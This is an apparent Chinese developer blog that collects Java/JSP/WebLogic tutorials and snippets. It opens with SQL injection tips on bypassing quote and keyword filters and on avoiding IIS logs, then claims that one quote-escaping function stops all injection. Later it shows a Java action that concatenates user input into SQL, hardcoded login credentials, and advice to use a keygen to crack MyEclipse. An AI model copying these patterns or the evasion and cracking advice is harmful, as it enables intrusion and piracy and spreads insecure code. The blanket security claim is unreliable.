    第二節(jié)、繞過程序限制繼續(xù)注入

    在入門篇提到,有很多人喜歡用’號(hào)測(cè)試注入漏洞,所以也有很多人用過濾’號(hào)的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對(duì)SQL注入比較熟悉的人,還是可以利用相關(guān)的函數(shù),達(dá)到繞過程序限制的目的。

    在“SQL注入的一般步驟”一節(jié)中,我所用的語句,都是經(jīng)過我優(yōu)化,讓其不包含有單引號(hào)的;在“利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)”中,有些語句包含有’號(hào),我們舉個(gè)例子來看看怎么改造這些語句:

    簡(jiǎn)單的如where xtype=’U’,字符U對(duì)應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992) nchar(25143)代替。

    第三節(jié)、經(jīng)驗(yàn)小結(jié)

    1.有些人會(huì)過濾Select、Update、Delete這些關(guān)鍵字,但偏偏忘記區(qū)分大小寫,所以大家可以用selecT這樣嘗試一下。

    2.在猜不到字段名時(shí),不妨看看網(wǎng)站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

    3.特別注意:地址欄的 號(hào)傳入程序后解釋為空格,+解釋為 號(hào),%解釋為%號(hào),具體可以參考URLEncode的相關(guān)介紹。

    4.用Get方法注入時(shí),IIS會(huì)記錄你所有的提交字符串,對(duì)Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。

    5. 猜解Access時(shí)只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即可,但是如果能用SQLServer的報(bào)錯(cuò)信息把值暴露出來,那效率和準(zhǔn)確率會(huì)有極大的提高。

    防 范 方 法

    SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對(duì)注入不了解,或者程序過濾不嚴(yán)格,或者某個(gè)參數(shù)忘記檢查導(dǎo)致。在這里,我給大家一個(gè)函數(shù),代替ASP中的Request函數(shù),可以對(duì)一切的SQL注入Say NO,函數(shù)如下:

    function SafeRequest(ParaName,ParaType)
    '--- 傳入?yún)?shù) ---
    'ParaName:參數(shù)名稱-字符型
    'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

    Dim ParaValue
    ParaValue=Request(ParaName)
    If ParaType=1 then
    If not isNumeric(ParaValue) then
    Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
    Response.end
    End if
    Else
    ParaValue=replace(ParaValue,"'","''")
    End if
    SafeRequest=ParaValue
    End function

    文章到這里就結(jié)束了,不管你是安全人員、技術(shù)愛好者還是程序員,我都希望本文能對(duì)你有所幫助。
    posted @ 2006-02-05 09:58 my java 閱讀(331) | 評(píng)論 (0)編輯 收藏
    UC
    43828348

    http://www.wsmmz.net

    http://www.sooweb.net/Html/Soft/82.html

    http://www.hnwuyun.com/jc/

    http://club.cat898.com/newbbs/printpage.asp?BoardID=18&ID=760319

    http://lsdw.go1.icpcn.com/pstg/6.htm

    http://font.flash8.net/font/list.aspx?page=3&c_id=383&s_id=395
    posted @ 2006-02-02 11:17 my java 閱讀(272) | 評(píng)論 (0)編輯 收藏
    http://www.comprg.com.cn



    http://supercss.com/
    posted @ 2006-01-26 11:16 my java 閱讀(307) | 評(píng)論 (0)編輯 收藏
    1、創(chuàng)建證書鑰匙庫(kù):

    keytool -genkey -alias tomcat -keyalg RSA

    缺省證書文件名為:.keystore

    2、修改文件server.xml
      <Connector port="8443"
                   maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
                   enableLookups="false" disableUploadTimeout="true"
                   acceptCount="100" debug="0" scheme="https" secure="true"
                   clientAuth="false"
          keystoreFile="C:\keystore\.keystore"
          keystorePass="netscape"
          sslProtocol="TLS" />

    3、web.xml
    <security-constraint>
        <web-resource-collection>
          <web-resource-name>Purchase</web-resource-name>
          <url-pattern>/ssl/*</url-pattern>
        </web-resource-collection>
        <auth-constraint>
          <role-name>registered-user</role-name>
        </auth-constraint>
        <user-data-constraint>
          <transport-guarantee>CONFIDENTIAL</transport-guarantee>
        </user-data-constraint>
      </security-constraint>
     
      <!-- Only users in the administrator role can access
           the delete-account.jsp page within the admin
           directory. -->
      <security-constraint>
        <web-resource-collection>
          <web-resource-name>Account Deletion</web-resource-name>
          <url-pattern>/admin/delete-account.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
          <role-name>administrator</role-name>
        </auth-constraint>
      </security-constraint>
     
      <!-- Tell the server to use form-based authentication. -->
      <login-config>
        <auth-method>FORM</auth-method>
        <form-login-config>
          <form-login-page>/admin/login.jsp</form-login-page>
          <form-error-page>/admin/login-error.jsp</form-error-page>
        </form-login-config>
      </login-config>
       
     
    4、重啟tomcat


    posted @ 2005-11-02 15:21 my java 閱讀(400) | 評(píng)論 (0)編輯 收藏

    /*
     * Created on 2005-9-27
     *
     * TODO To change the template for this generated file go to
     * Window - Preferences - Java - Code Style - Code Templates
     */
    package fibernews.action;
    import javax.servlet.http.*;

    import java.sql.*;
    import java.util.*;
    import fibernews.framework.db.*;
    import fibernews.beans.Employee;
    import fibernews.util.function.HandleString;
    import fibernews.framework.logging.Logger;

    /**
     * @author Administrator
     *
     * TODO To change the template for this generated type comment go to
     * Window - Preferences - Java - Code Style - Code Templates
     */
    public class ListEmpAction extends Action {

     List list ;
     public String process(HttpServletRequest request, HttpServletResponse response) {
         Connection conn=DBHelper.getConnection();
     Statement st=null;
         PreparedStatement pst=null;
         ResultSet rs=null ;
            String  query=HandleString.toChinese(request.getParameter("query"));
            if ((query==null)||query.trim().equals("")) query="lmsun";
      try{
     
          String sql="select * from employee_email where name like '%"+query+"%' or email like '%"+query+"%'" ;
          //st=conn.createStatement();
      pst=conn.prepareStatement(sql);
      rs=pst.executeQuery();
      list=new ArrayList();
      Employee emp;
      while (rs.next()){
       emp=new Employee();
       emp.setId(rs.getString("id"));
       emp.setEmployee_bh(rs.getString("employee_bh"));
       emp.setName(rs.getString("name"));
       emp.setEmail(rs.getString("email"));
       emp.setDepartment1(rs.getString("department1"));
       emp.setDepartment2(rs.getString("department2"));
       emp.setDepartment3(rs.getString("department3"));
       list.add(emp);
      }

      
      }
      
       catch (Exception e) {
             System.out.println("Error Connecting to catalog DB: " + e.toString());
           }
       finally {
        DBHelper.close(rs,pst,conn);
       }
       request.setAttribute("empList",list);
       return "/intra/query/emailbook.jsp";
      
     }
       public static void main(String[] args)
       {
         ListEmpAction empaction = new ListEmpAction();
         System.out.print("End"); 
       }
      
    }

    posted @ 2005-09-27 13:21 my java 閱讀(317) | 評(píng)論 (0)編輯 收藏
    重定向請(qǐng)求

      下面我們來構(gòu)造一個(gè)AuthenticationFilter過濾器,它的功能是截獲對(duì)Controller Servlet的請(qǐng)求,然后驗(yàn)證用戶的身份。按照前面介紹的步驟用向?qū)?chuàng)建過濾器時(shí),向?qū)峁┝硕x初始化參數(shù)、過濾器的URL和Servlet映射等參數(shù)。如果不設(shè)置這類參數(shù),缺省情況下向?qū)в眠^濾器本身的名稱創(chuàng)建一個(gè)URL映射,我們將在下面用編輯web.xml文件的方式定義映射,因此現(xiàn)在先認(rèn)可缺省值。注意,如果你想在鏈中使用一個(gè)以上的過濾器,那就必須手工編輯web.xml。

      在向?qū)е悬c(diǎn)擊“完成”按鈕后,WSAD立即構(gòu)造出過濾器的骨架代碼。對(duì)于本例來說,接下來我們唯一的任務(wù)就是將代碼插入doFilter()方法,如Listing 1所示。

    // Listing 1: AuthenticationFilter.java
    
        public void doFilter(
            ServletRequest req,
            ServletResponse resp,
            FilterChain chain)
            throws ServletException, IOException {
    
            String nextPage;
            RequestDispatcher rd = null;
            //檢查用戶名稱和密碼
            if (req.getParameter("userid") != null) {
                if (!((req.getParameter("password").equals("password"))
                    && (req.getParameter("userid").equals("user")))) {
                    ArrayList actionreport = newArrayList();
                    actionreport.add("登錄失敗。。。");
                    (((HttpServletRequest) req).getSession()).setAttribute(
                        "actionreport", actionreport);
    
                    nextPage = "failure.jsp";
                    System.out.println("獲得了來自過濾器的應(yīng)答。");
                    // 將請(qǐng)求直接傳遞給下一個(gè)頁(yè)面(而不是Controller Servlet)
                    rd = req.getRequestDispatcher(nextPage);
                    rd.forward(req, resp);
                } else {
                    req.setAttribute("login", "loginsuccess");
                    // 將請(qǐng)求傳遞給Controller Servlet
                    chain.doFilter(req, resp);
                    System.out.println("獲得了來自過濾器的應(yīng)答。");
                }
            } else {
                rd = req.getRequestDispatcher("Welcome.jsp");
                rd.forward(req, resp);
            }
        }


      從上面的代碼可以看出,在過濾器中驗(yàn)證用戶身份的方式仍和平常的一樣。在此過程中,為了獲得session對(duì)象,我們把ServletRequest定型(cast)成了HttpServletRequest。如果用戶未能通過身份驗(yàn)證,我們不再把請(qǐng)求傳遞給Controller Servlet,而是通過RequestDispatcher把請(qǐng)求傳遞給報(bào)告頁(yè)面(failure.jsp)。

      如果用戶通過了身份驗(yàn)證,則我們調(diào)用chain.doFilter(),允許應(yīng)答進(jìn)入Controller——這是因?yàn)檎{(diào)用chain.doFilter()時(shí),鏈里面已經(jīng)沒有其他過濾器,所以控制將以POST方式轉(zhuǎn)入作為Controller的Servlet,實(shí)際上,chain.doFilter()將調(diào)用Controller.doPost()方法。

      發(fā)送請(qǐng)求給Controller之前,我們可以根據(jù)用戶獲得的身份證書來設(shè)置請(qǐng)求的屬性,這些信息將幫助Controller及其輔助類處理請(qǐng)求。作為一個(gè)例子,我們?cè)O(shè)置了請(qǐng)求的login屬性,然后在Controller中檢查該屬性,Controller把應(yīng)答返回給success.jsp(如Listing 2所示)。

    // Listing 2: controller.java
    
    protected final void doPost(
        HttpServletRequest request,
        HttpServletResponse response) {
    
        // begining codes
        //--用戶已通過身份驗(yàn)證
        if (((String) request.getAttribute("login")).equals
           ("login success")) {
            ArrayList actionreport = new ArrayList();
            actionreport.add("Correct Password");
            session.setAttribute("actionreport", actionreport);
            nextPage = "success.jsp";
        }
        if (dispatch) {
            RequestDispatcher rd =
                getServletContext().getRequestDispatcher(nextPage);
            rd.forward(request, response);
        } else {
    
            session.invalidate();
    
        }
        // ending codes
    }
    posted @ 2005-09-12 16:27 my java 閱讀(3100) | 評(píng)論 (1)編輯 收藏


     

    問題:JavaBean的一個(gè)寫文件方法,獨(dú)立調(diào)試正常。但移到Struts下,通過Action調(diào)用時(shí),

    拋出異常。


     

    原因:文件路徑問題
    解決方法:
    1.修改原來JavaBean里帶前綴路徑的文件---"resources/users.properties"
    為"users.properties"
    2.將struts框架下的源文件users.properties,直接移到src下
    3.重新編譯,部署
    4.運(yùn)行這個(gè)注冊(cè)組件成功后,可以到$服務(wù)器主目錄$/bin下,查看這個(gè)已經(jīng)寫過的
    users.properties文件
    以上問題,曾嘗試將resources/user.properite改為絕對(duì)路徑"d:/users.properties",
    或改為相對(duì)路徑"/resources/properties",或直接向JavaBean中傳入路徑參數(shù)path,
    path=request.getRealPath("")(或request.getContextPath)等,均沒有調(diào)試成功。
    故記錄下來,希望其它網(wǎng)友遇到時(shí),不必再做這樣的重復(fù)勞動(dòng)。
    附:
    1.Action中調(diào)用方法:
    UserDirectory.getInstance().setUser(userName,password1);
    2.JavaBean的縮略代碼:
    UserDirectory.java
    import java.io.IOException;
    import java.io.FileOutputStream;
    import java.util.Enumeration;
    import java.util.Properties;
    public class UserDirectory {
     private static final String UserDirectoryFile = "users.properties";
     private static final String UserDirectoryHeader = "${user}=${password}";
     public static UserDirectory getInstance() throws UserDirectoryException {
      if (null == userDirectory) {
       userDirectory = new UserDirectory();
      }
       return userDirectory;
     }
     
      public void setUser(String userId, String password) throws
       UserDirectoryException {
       if ( (null == userId) || (null == password)) {
        throw new UserDirectoryException();
       }try {
        p.put(fixId(userId), password);
        p.store(new FileOutputStream(UserDirectoryFile),UserDirectoryHeader);
       }catch (IOException e) {
        throw new UserDirectoryException();
       }
      }
     }
    posted @ 2005-09-07 13:39 my java 閱讀(1511) | 評(píng)論 (1)編輯 收藏
    • char charAt(int index)

      returns the character at the specified location.

    • int compareTo(String other)

      returns a negative value if the string comes before other in dictionary order, a positive value if the string comes after other in dictionary order, or 0 if the strings are equal.

    • boolean endsWith(String suffix)

      returns true if the string ends with suffix.

    • boolean equals(Object other)

      returns true if the string equals other.

    • boolean equalsIgnoreCase(String other)

      returns true if the string equals other, except for upper/lowercase distinction.

    • int indexOf(String str)

    • int indexOf(String str, int fromIndex)

      return the start of the first substring equal to str, starting at index 0 or at fromIndex.

    • int lastIndexOf(String str)

    • int lastIndexOf(String str, int fromIndex)

      return the start of the last substring equal to str, starting at the end of the string or at fromIndex.

    • int length()

      returns the length of the string.

    • String replace(char oldChar, char newChar)

      returns a new string that is obtained by replacing all characters oldChar in the string with newChar.

    • boolean startsWith(String prefix)

      returns true if the string begins with prefix.

    • String substring(int beginIndex)

    • String substring(int beginIndex, int endIndex)

      return a new string consisting of all characters from beginIndex until the end of the string or until endIndex (exclusive).

    • String toLowerCase()

      returns a new string containing all characters in the original string, with uppercase characters converted to lower case.

    • String toUpperCase()

      returns a new string containing all characters in the original string, with lowercase characters converted to upper case.

    • String trim()

      returns a new string by eliminating all leading and trailing spaces in the original string.

    字符串與基本數(shù)據(jù)類型的轉(zhuǎn)換間的轉(zhuǎn)換必須使用JSP中的對(duì)象函數(shù)
    Boolean.getBoolean(String)
    Byte.parseByte(String)
    Short.parseShort(String)
    Integer.parseInt(String)
    Long.parseLong(String)
    Float.parseDouble(String)
    Double.parseDouble(String)
    String.valueOF(數(shù)據(jù))


    Array

  • static void arraycopy(Object from, int fromIndex, Object to, int toIndex, int count)

    Parameters:

    from

    an array of any type (Chapter 5 explains why this is a parameter of type Object)

     

    fromIndex

    the starting index from which to copy elements

     

    to

    an array of the same type as from

     

    toIndex

    the starting index to which to copy elements

     

    count

    the number of elements to copy

    copies elements from the first array to the second array.

    java.util.Arrays 1.2

     

    • static void sort(Xxx[] a)

      Parameters:

      a

      an array of type int, long, short, char, byte, boolean, float or double

      sorts the array, using a tuned QuickSort algorithm.

    • static int binarySearch(Xxx[] a, Xxx v)

      Parameters:

      a

      a sorted array of type int, long, short, char, byte, boolean, float or double

       

      v

      a value of the same type as the elements of a

      uses the BinarySearch algorithm to search for the value v. If it is found, its index is returned. Otherwise, a negative value r is returned; -r - 1 is the spot at which v should be inserted to keep a sorted.

    • static void fill(Xxx[] a, Xxx v)

      Parameters:

      a

      an array of type int, long, short, char, byte, boolean, float or double

       

      v

      a value of the same type as the elements of a

      sets all elements of the array to v.

    • static boolean equals(Xxx[] a, Object other)

      Parameters:

      a

      an array of type int, long, short, char, byte, boolean, float or double

       

      other

      an object

      returns true if other is an array of the same type, if it has the same length, and if the elements in corresponding indexes match.

  • eg: 

     int[] smallPrimes = {2, 3, 5, 7, 11, 13};
      int[] luckyNumbers = {1001, 1002, 1003, 1004, 1005, 1006, 1007};
      System.arraycopy(smallPrimes, 2, luckyNumbers, 3, 3);
      for (int i = 0; i < luckyNumbers.length; i++)
         System.out.println(i + ": " + luckyNumbers[i]);

    posted @ 2005-09-05 13:56 my java 閱讀(336) | 評(píng)論 (0)編輯 收藏

    dateadd()函數(shù)

    dateadd(datepart,number,date)

    例:
    dateadd(month,1,getdate())
    posted @ 2005-09-05 13:50 my java 閱讀(273) | 評(píng)論 (0)編輯 收藏


    1、Message.java
    public class Message {

     public static void main(String[] args) {
        if (args[0].equals("-h"))
              System.out.print("Hello,");
           else if (args[0].equals("-g"))
              System.out.print("Goodbye,");
           // print the other command line arguments
           for (int i = 1; i < args.length; i++)
              System.out.print(" " + args[i]);
           System.out.println("!");

     }
    }

    test:
    java Message -g cruel world



    import java.util.*;
    import javax.swing.*;
    public class FirstSample {

     public static void main(String[] args) {
           String input = JOptionPane.showInputDialog
              ("How many numbers do you need to draw?");
           int k = Integer.parseInt(input);

           input = JOptionPane.showInputDialog
              ("What is the highest number you can draw?");
           int n = Integer.parseInt(input);

           // fill an array with numbers 1 2 3 . . . n
           int[] numbers = new int[n];
           for (int i = 0; i < numbers.length; i++)
           {    numbers[i] = i + 1;
           System.out.println(numbers[i]);
           }
           // draw k numbers and put them into a second array

           int[] result = new int[k];
           for (int i = 0; i < result.length; i++)
           { 
              // make a random index between 0 and n - 1
              int r = (int)(Math.random() * n);

              // pick the element at the random location
              result[i] = numbers[r];

              // move the last element into the random location
              numbers[r] = numbers[n - 1];
              n--;
           }

           // print the sorted array

           Arrays.sort(result);
           System.out.println
              ("Bet the following combination. It'll make you rich!");
           for (int i = 0; i < result.length; i++)
              System.out.println(result[i]);

           System.exit(0);

     }
    }

    posted @ 2005-09-05 10:51 my java 閱讀(213) | 評(píng)論 (0)編輯 收藏
    Weblogic8.X安裝及連接池配置指南

    http://dev.csdn.net/develop/article/51/51809.shtm


    1.安裝jre
    Eclipse雖然由java開發(fā),但本身并不自帶jre。所以你必須先自己安裝,去http://java.sun.com/downloads下載最新J2SE1.4.2_03的jre安裝文件j2re-1_4_2_03-windows-i586-p.exe。安裝成功后,重啟機(jī)器,并將jre的bin文件夾路徑添加到系統(tǒng)環(huán)境變量PATH中,如:C:\Program Files\Java\j2re1.4.2_03\bin。
    2.安裝Eclipse2.1.2
    Eclipse目前最新的stable已經(jīng)Build到了3.0M5,但是這個(gè)版本的LanguagePackFeature還沒有推出,直接用LanguagePackFeature2.1.2有問題。故建議用Eclipse穩(wěn)定版本2.1.2,配上LanguagePackFeature2.1.2后可實(shí)現(xiàn)全中文界面。Eclipse SDK 2.1.2和其LanguagePackFeature下載地址為http://download2.eclipse.org/downloads。
    Eclipse的安裝非常簡(jiǎn)單,只需解壓縮eclipse-SDK-2.1.2-win32.zip,將文件夾eclipse拷貝到你想要的地方。然后雙擊eclipse.exe,即開始編譯并初始化Eclipse,完畢自動(dòng)進(jìn)入Eclipse。
    下面開始安裝LanguagePackFeature。
    (1)解壓縮eclipse2.1.2.1-SDK-win32-LanguagePackFeature.zip。
    (2)啟動(dòng)Eclipse,選擇“Help\Software Updates\Update Manager”菜單,使主界面切換到安裝更新透視圖畫面。
    (3)在窗體左下方的Feature Updates視圖中單擊鼠標(biāo)右鍵,選擇“New\Site Bookmark”菜單,彈出New Site Bookmark對(duì)話框。在Name處隨便輸入什么名字,如:LanguagePack。URL處輸入前面(1)解壓縮后文件夾路徑,如:file: E:\開發(fā)工具\(yùn)Eclipse\eclipse2.1.2.1-SDK-win32-LanguagePackFeature\eclipse。完畢按下Finish按鈕,關(guān)閉對(duì)話框。這時(shí)Feature Updates視圖中就會(huì)出現(xiàn)一項(xiàng)“LanguagePack”。展開該項(xiàng),就可以看到很多語言包插件。
    (4)選擇一個(gè)語言包,如:Eclipse Java Development 工具語言包 1.2.1.2,單擊右邊視圖中的Install Now按鈕,即開始安裝。安裝成功后,Eclipse會(huì)重新啟動(dòng)。依次類推,逐個(gè)安裝所有的語言包插件。在整個(gè)安裝過程中你會(huì)發(fā)現(xiàn)所有界面都變成了簡(jiǎn)體中文。
    3.安裝MyEclipse2.7RC2
    去http://www.myeclipseide.com下載最新的MyEclipse安裝文件myeclipse_Enterprise_Workbench_Installer_020700RC2.exe。在安裝過程中需要提供Eclipse所在文件夾的路徑,安裝成功后會(huì)自動(dòng)進(jìn)入Eclipse。這時(shí)你就會(huì)發(fā)現(xiàn)主菜單中多出一項(xiàng)“MyEclipse”,我們?cè)龠x擇“窗口\首選項(xiàng)”菜單,打開首選項(xiàng)對(duì)話框。展開MyEclipse結(jié)點(diǎn),單擊Subscription子項(xiàng),可以看到這是個(gè)30天限制版。不過你可以到http://www.cracks4u.com上下載破解程序MyEclipse_Enterprise_Workbench_v3.6.4.zip。運(yùn)行zip中的keygen.exe,隨便輸入一個(gè)用戶名,然后選擇2.6.4版本,單擊Generate按鈕生成Subscription Code。將用戶名和Subscription Code輸入到上述的Subscriber和Subscription Code文本框中,點(diǎn)擊“應(yīng)用”按鈕即可看到信息Number of Licenses:unlimited,至此你的MyEclipse已被破解。
    4.安裝WebLogic8.1
    安裝WebLogic比較容易,在這里就不再累述了,大家可以參閱相關(guān)文檔。現(xiàn)在著重講一下WebLogic的配置,因?yàn)楹竺嬖谂渲肕yEclipse時(shí)將用到這里的有關(guān)信息。
    (1)運(yùn)行開始\程序\BEA WebLogic PlatFORM 8.1\Configuration Wizard。
    (2)選擇Create a new WebLogic configuration,下一步。
    (3)選擇Basic WebLogic Server Domain,下一步。
    (4)選擇Custom,下一步。
    (5)在Name處輸入admin,Listen Address處選擇localhost,以下兩個(gè)Port均采用默認(rèn)值,下一步。
    (6)選擇Skip跳過Multiple Servers,Clusters,and Machines Options,下一步。
    (7)選擇Skip跳過JDBC連接池的配置(注:JDBC連接池的配置可以在啟動(dòng)WebLogic后到控制臺(tái)上進(jìn)行,大家可以參閱相關(guān)文檔),下一步。
    (選擇Skip跳過JMS的配置(同樣留到控制臺(tái)上做),下一步。
    (9)繼續(xù)跳過,下一步。
    (10)選擇Yes,下一步。
    (11)在User頁(yè)點(diǎn)擊Add,隨意添加一個(gè)用戶user,密碼12345678,下一步。
    (12)將用戶user分配到Administrators組(還可以同時(shí)分配到其它組,方法是選中待加入的組,然后勾中user前的復(fù)選框即可),下一步。
    (13)直接點(diǎn)擊下一步跳過。
    (14)設(shè)置用戶user的權(quán)限,選中Admin,勾中user前的復(fù)選框(要指定其它權(quán)限依次類推),下一步。
    (15)采用默認(rèn)設(shè)置,直接點(diǎn)擊下一步跳過。
    (16)同樣采用默認(rèn)設(shè)置,直接點(diǎn)擊下一步跳過。
    (17)配置JDK,采用WebLogic的默認(rèn)值,直接點(diǎn)擊下一步跳過。
    (1最后在Configuration Name處輸入dev,然后點(diǎn)擊Create生成配置,完畢點(diǎn)擊Done關(guān)閉Configuration Wizard對(duì)話框。
    5.配置MyEclipse的WebLogic服務(wù)器
    MyEclipse默認(rèn)的應(yīng)用服務(wù)器為JBoss3,這里我們使用WebLogic8.1。啟動(dòng)Eclipse,選擇“窗口\首選項(xiàng)”菜單,打開首選項(xiàng)對(duì)話框。展開MyEclipse下的Application Servers結(jié)點(diǎn),點(diǎn)擊JBoss 3,選中右面的Disable單選按鈕,停用JBoss 3。然后點(diǎn)擊WebLogic 8,選中右邊的Enable單選按鈕,啟用WebLogic服務(wù)器。同時(shí)下面的配置如下:
    (1)BEA home directory:D:\BEA。假定WebLogic安裝在D:\BEA文件夾中。
    (2)WebLogic installation directory:D:\BEA\weblogic81。
    (3)Admin username:user。
    (4)Admin password:12345678。
    (5)Execution domain root:D:\BEA\user_projects\dev。
    (6)Execution domain name:dev。
    (7)Execution server name:admin。
    (8)Hostname:PortNumber:localhost:7001。
    (9)Security policy file:D:\BEA\weblogic81\server\lib\weblogic.policy。
    (10)JAAS login configuration file:省略。
    接著展開WebLogic 8結(jié)點(diǎn),點(diǎn)擊JDK,在右邊的WLS JDK name處選擇WebLogic 8的默認(rèn)JDK。這里組合框中缺省為j2re1.4.2_03,即之前單獨(dú)安裝的jre。單擊Add按鈕,彈出WebLogic > Add JVM對(duì)話框,在JRE名稱處隨便輸入一個(gè)名字,如jre1.4.1_02。然后在JRE主目錄處選擇WebLogic安裝文件夾中的JDK文件夾,如D:\BEA\jdk141_02,程序會(huì)自動(dòng)填充Javadoc URL文本框和JRE系統(tǒng)庫(kù)列表框。單擊確定按鈕關(guān)閉對(duì)話框。這時(shí)候就可以在WLS JDK name組合框中選擇jre1.4.1_02了。之后還要在下面的Optional Java VM arguments,如-ms64m -mx64m -Djava.library.path="D:/BEA/weblogic81/server/bin" -Dweblogic.management.discover=false -Dweblogic.ProductionModeEnabled=false
    最后點(diǎn)擊Paths,在右邊的Prepend to classpath列表框中,通過Add JAR/ZIP按鈕,加入D:\BEA\weblogic81\server\lib\weblogic.jar、D:\BEA\weblogic81\server\lib\webservices.jar。如果用到數(shù)據(jù)庫(kù),還需把數(shù)據(jù)庫(kù)的驅(qū)動(dòng)類庫(kù)加進(jìn)來,這里我們用WebLogic自帶的SQL Server數(shù)據(jù)庫(kù)驅(qū)動(dòng)庫(kù)D:\BEA\weblogic81\server\lib\mssqlserver4v65.jar。
    至此,MyEclipse中WebLogic8的配置工作就算完成了。下面可以看看在Eclipse中能否啟動(dòng)WebLogic了?自從安裝了MyEclipse之后,Eclipse工具欄中就會(huì)有一個(gè)Run/Stop Servers下拉按鈕。點(diǎn)擊該按鈕的下拉部分,選擇“WebLogic 8\Start”菜單,即開始啟動(dòng)WebLogic了。通過查看下面的控制臺(tái)消息,就可以知道啟動(dòng)是否成功,或有什么異常發(fā)生。停止WebLogic可選擇“WebLogic\Stop”菜單。
    6.創(chuàng)建第一個(gè)Web程序——HelloWorld
    啟動(dòng)Eclipse:
    (1)選擇“文件\新建\項(xiàng)目”菜單,打開新建項(xiàng)目向?qū)АJ紫冗x擇左邊的J2EE,然后選擇右邊的Web Module Project,下一步在Project Name處理輸入HelloWorld,點(diǎn)擊完成按鈕,生成項(xiàng)目文件。包視圖結(jié)構(gòu)如下:
    HelloWorld
    ├─src
    ├─JRE系統(tǒng)庫(kù)[j2re1.4.2_03]
    ├─J2EE 1.3 Library Container
    └─WebRoot
    (2)點(diǎn)擊src,單擊鼠標(biāo)右鍵,選擇“新建\Servlet”菜單,創(chuàng)建HelloWorld Servlet。在包名稱處輸入servlet,在Servlet名稱處輸入HelloWorld,去掉Create doGet復(fù)選框中的勾,下一步,采用默認(rèn)設(shè)置,點(diǎn)擊完成按鈕。修改doPost方法代碼如下:
    response.setContentType("text/xml");
    PrintWriter out = response.getWriter();
    out.println("Hello World");
    out.flush();
    out.close();
    (3)點(diǎn)擊WebRoot,單擊鼠標(biāo)右鍵,選擇“新建\HTML”菜單,創(chuàng)建一個(gè)HTML頁(yè)面。將File Name改為index.html,點(diǎn)擊完成按鈕。將下列代碼替換<body>、</body>之間的代碼:
    <script language="vbscript">
    function bytes2bstr(vin)
    strreturn = ""
    for k = 1 to lenb(vin)
    thischarcode = ascb(midb(vin,k,1))
    if thischarcode < &h80 then
    strreturn = strreturn & chr(thischarcode)
    else
    nextcharcode = ascb(midb(vin,k+1,1))
    strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
    k = k + 1
    end if
    next
    bytes2bstr = strreturn
    end function
    </script>

    <script language="javascript">
    var xml=null;
    var XMLSender=new ActiveXObject("Microsoft.XMLHTTP");
    var url="http://localhost:7001/HelloWorld/servlet/HelloWorld?";
    XMLSender.Open("POST",url,false);
    XMLSender.setRequestHeader("Content-Type","text/xml; charset=UTF-8");
    XMLSender.send(xml);
    var msg=bytes2bstr(XMLSender.responsebody);
    document.writeln(msg);
    </script>
    (4)展開WEB-INF結(jié)點(diǎn),雙擊打開web.xml,在</servlet-mapping>下面加入下列語句:
    <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    </welcome-file-list>
    (5)點(diǎn)擊HelloWorld,單擊鼠標(biāo)右鍵,選擇“MyEclipse\Add and Remove Project Deployments…”菜單,彈出Project Deployments對(duì)話框,在Project組合框中選擇HelloWorld,單擊Add,在Server組合框中選擇WebLogic 8,點(diǎn)擊完成按鈕回到Project Deployments對(duì)話框,這時(shí)服務(wù)器信息就會(huì)顯示在Deployments列表中,點(diǎn)擊確定按鈕關(guān)閉對(duì)話框。
    (6)點(diǎn)擊工具欄上的Run/Stop Servers下拉按鈕,選擇“WebLogic 8\Start”菜單,啟動(dòng)服務(wù)器。
    (7)運(yùn)行IE,在地址欄輸入http://localhost:7001/HelloWorld/index.html,即可在頁(yè)面中看到“Hello World”字樣。
    posted @ 2005-08-25 15:43 my java 閱讀(1064) | 評(píng)論 (0)編輯 收藏
    http://java.sun.com/j2se/1.4.2/docs/guide/security/jaas/JAASRefGuide.html

    http://java.sun.com/j2se/1.4.2/docs/guide/security/jaas/JAASLMDevGuide.html


    http://java.sun.com/j2se/1.4.2/docs/guide/security/jaas/JAASRefGuide.html

    http://java.sun.com/j2se/1.4.1/docs/api/javax/security/auth/login/Configuration.html
    posted @ 2005-08-25 14:29 my java 閱讀(260) | 評(píng)論 (0)編輯 收藏

    The include Directive


    The following is the syntax for the include directive:

    <%@ include file="relativeURL" %>

    As you can see the directive accepts a single file attribute that is used to indicate the resource whose content is to be included in the declaring JSP. The file attribute is interpreted as a relative URL; if it starts with a slash it's interpreted as relative to the context of the web application (namely a context-relative path), otherwise it's interpreted as relative to the path of the JSP that contains the include directive (namely a page relative path). The included file may contain either static content, such as HTML or XML, or another JSP page.

    For example:
    <%@ include file="/copyright.html"%>


    Let's consider a real-world example of such a templating mechanism that utilizes the include directive to provide a consistent page layout for a web application.

    Consider the following two JSP pages:

    Header.jsp
        <html>
          <head><title>A Very Simple Example</title></head>
          <body style="font-family:verdana,arial;font-size:10pt;">
            <table width="100%" height="100%">
              <tr bgcolor="#99CCCC">
                <td align="right" height="15%">Welcome to this example...</td>
              </tr>
              <tr>
                <td height="75%">

    Footer.jsp
               </td>
             </tr>
             <tr bgcolor=" #99CC99">
               <td align="center" height="10%">Copyright ACompany.com 2003</td>
             </tr>
           </table>
         </body>
       </html>

    As you can see, Header.jsp declares the starting elements of an HTML table that is to be 100 percent of the size of the page and has two rows, whereas Footer.jsp simply declares the closing elements for the table. Used separately, either JSP will result in partial HTML code that will look very strange to a user but when they're combined using the include directive it's easy to create consistent pages as part of a web application.

    Let's see just how simple this basic template mechanism is to use:

    Content.jsp
        <%@ include file='./Header.jsp'%>
        <p align="center">The Content Goes Here...!!!</p>
        <%@ include file='./Footer.jsp'%>

    2、
    date.jsp
    <html>
      <body>
        <h2>Greetings!</h2>
     <P>The current time is <%=new java.util.Date()%> precisely
      </body>
    </html>

    3、
    dateBean.jsp
    <html>
        <head><title>Professional JSP, 3rd Edition</title></head>
